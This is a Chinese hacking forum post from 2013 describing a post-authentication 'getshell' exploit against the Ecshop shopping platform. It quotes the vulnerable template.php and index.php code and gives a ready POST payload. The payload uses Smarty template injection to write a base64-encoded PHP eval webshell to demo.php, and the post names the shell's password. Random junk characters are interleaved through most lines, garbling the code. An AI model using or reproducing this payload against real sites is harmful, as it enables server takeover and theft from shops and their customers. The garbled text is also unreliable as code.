找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2435|回复: 0
打印 上一主题 下一主题

Ecshop后台getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:33:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板6 `" {' P: a: d- ~( S
+ x  B7 P% p( A0 }) E0 E
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了( L. Z4 t0 W  Q
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码; n* U# c- W: \4 a
admin/template.php2 n- M+ }& a2 q. @# c' [

5 R1 {( r  P' z1 if ($_REQUEST['act'] == 'update_library')
+ ~- G' J" T3 ?: b- d' U3 ]0 w! a% b  w- ~3 y
2   2 T* E' e- f' i4 j+ }
2 g' Q+ k; ~, v2 B
3 {
2 K  @/ h" @6 t. C: h
( a: b# A0 m/ |; X4     check_authz_json('library_manage'); # \' H: K+ M4 ?1 t- {8 a
5 Z4 Y0 k. b5 V' s1 l$ x
5   
- H# E0 I" _5 g2 ^6 p5 m
3 ?" N! w; G# _6 p$ Q  u6     $html = stripslashes(json_str_iconv($_POST['html'])); 9 }: P4 S. `2 Z# Y1 ~  V

9 U) L2 k3 \: H7   : |( y% M, k3 F
9 I' `, \5 s! M
8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件 5 @- Z2 N. R& \! {
# d7 {% [' L0 \* {/ H1 w" k
9   
4 @9 C' S; l, e4 @* A7 N4 V. C# f$ I8 l- M; u: f8 h
10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
$ O4 I/ A1 n, o) Z9 o6 I- s
7 Z) M7 P9 x9 T, t$ B5 i8 T' `) M* V11   . p! k' ^! Z+ R5 g% F& T, K

& f( N1 h8 {$ @+ U; A12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file)); ( Z3 g$ Q3 \1 ~5 b* Q+ p
" }  D; }) Y; O
13   
# O- p4 X4 v8 ?. N4 z. e) [3 w9 Z; _# ~
14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
1 l& t3 [6 c7 }: h: @% g- S1 G1 ~7 [5 y8 O8 }& o& w- l; `4 B  f& \
15     {
0 B& s/ t( I3 e/ u1 c" m* ~! E# _' E; _3 w
16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html); 9 |0 a5 R7 w  O( [6 i

1 k  Q* c+ t; I17         make_json_result('', $_LANG['update_lib_success']);
* ]) g( o& n1 g- U, N
% d: w% }+ X& G& s& [  L" M18     }
4 S- P( V0 w3 M) ?; K
/ w* L, t$ ?8 M& v, t3 t' U6 z19     else 5 b4 }* S9 e+ k0 U. ^
, f4 \6 U# x8 B
20     {
" D( {/ `4 z/ E! R6 N( M: O5 n
2 [6 V0 F" ]) P. K3 K% O21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
$ K) f; j  n* v& |' |3 _- n" K, K6 P9 l$ C
22     } 0 `2 a. y) R) V* ]+ W

0 ?! k' V0 f% _& M1 G) P# ^23 } ) \' k  T/ _: a- f% E/ H. h

+ g( W$ T+ ~# c$ o那么找个比较方便调用了模板的文件& z' `" F- Z% C5 ^) W3 o# z
index.php
  s0 S$ i- w" f8 f' a* o+ J3 @
/ N* W. {; \1 E, c$ a0 ]1 E+ \* ]1 if ($act == 'cat_rec') + \! g  e  z! k3 N. ^

' B# n& B+ j( N; j' T. i! f( Y2   
$ l3 q' r  a1 V% m# Q) j
! V7 t& K+ C) R% K. G3 { , w/ X- [' ]1 \: i! y, X: R
+ L- O/ ]: v3 p  x; k
4   4 N4 f" I$ w+ Z( ^; e

$ j" ~) \( k+ j6 c5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot'); 8 {# M6 n$ K' a
# j5 a, q/ x8 C. h5 S) Y! ~+ Z7 z
6   / B0 V/ }6 U/ x% K+ j: D
  w/ w+ z( t$ s% |( n9 ^6 V
7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1'; 9 v0 G7 w- \; j2 O# X: y$ [" @
  F  h+ ^8 O" Y- e
8   
. X' y0 Q- n0 [5 T6 c2 |; I% f/ {
+ A* T9 Q" ?4 M% G9 i" \0 X$ m9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
( A5 X/ J/ H6 h- }5 h/ z$ [
: x% Z  l; L; N- n) b+ Q10   4 J% p* k' H* g# P8 Y/ W( w

; B& e4 I5 E- B3 _0 z11     include_once('includes/cls_json.php'); 1 }, l+ X0 t9 W' w4 m& i# O% K5 u

* J1 Y8 p% t) q0 h12   
: O+ \' o( ]# M# H+ N. x) m
3 o& d, J+ I, U( p1 w* ^0 Y( o13     $json = new JSON; : z6 |1 Y4 j: Q* F! R4 D

) i& E2 X" e7 H& o+ Y14   
: A! Z+ \; d8 p% U& M; l( c: X) Q" u* R
15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);   C, `$ F/ U$ c! H; ~2 t
7 M6 x% }( O3 n, \
16   " p* i" J  J  s3 S
( H- N. _+ t0 Z0 q' j/ L7 I
17     $children = get_children($cat_id);
* {* k  M4 s( O; |- M: M/ F0 T: E5 A0 a
18   " J! n* O9 c+ Z* Z

: s, D) x3 M9 \( J0 j  o" Z1 U- P19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品
# t  u5 n# R4 z+ Q7 e( S) i0 ?0 j8 t) f
20   
- d6 w" Q* u& P3 T7 z; T3 h: l3 _+ q
21     $smarty->assign('cat_rec_sign', 1); 7 Y0 q4 \8 V) |! U
2 M, ^6 E: i4 {, M* C7 q2 x
22   ; {! _7 U  ~0 T0 @9 q

( @0 j! N0 |9 U) `0 r1 k23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best " ]; b. [0 D" T% Q
! z& P; u: T5 |. d6 u. l4 r; D* o. t
24   
* G% V9 ?2 s  |; w, C$ h0 x0 d7 {/ }2 w- B& c( Q
25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
& c/ h+ I5 x+ L& n" i" x
* G# J8 z% x/ S: Q: U( j26   . `& V) N* @) P6 @$ _
2 b, q; H2 _* ?9 f  e
27         echo $rec_array[$rec_type];
! \/ P0 ]0 `1 S8 e7 R  r. m0 z
' @3 X1 P; j3 ]% G/ U6 c9 Y; \6 F, |28   
3 D, Y1 f6 d/ A( O7 ]) m  `/ A& j
2 o1 V/ [$ O" H3 O; G2 x29     die($json->encode($result));
, y. z; w- X4 ~2 B4 ^8 z1 h& c/ o% C) G) B- g+ }
30   
7 Y# U7 m: h% r( ?# I1 w9 x% @( ?" m6 ]" w. G5 D3 ?
31 } & s& o# X! \; O7 X! A

' R+ \( e* [4 C  `# ^1 S* r那么就有利用方法了( a; }0 B5 W: F$ [8 q! z
post包到http://localhost/ec/admin/template.php?act=update_library
$ Y9 p$ m' }5 W: g# H) F8 yPost内容:
4 l. m6 q- x7 C. P; Y; V- x, p3 b( E8 V/ d$ m5 J
: Y' u8 {$ j" ~
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
2 ?# U! \8 [! m
) U8 L+ h# g" T' h5 f然后访问http://localhost/ec/index.php?act=cat_rec8 n. ]5 \: i( x9 S3 R+ F
9 r+ Q8 K' U9 t. R$ g  e8 m
shel地址:http://localhost/ec/demo.php
) }) o  K% e4 U密码c
( k8 ~# Z4 k" J# Q
* }, D( z& W; z% Y" F! Z
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表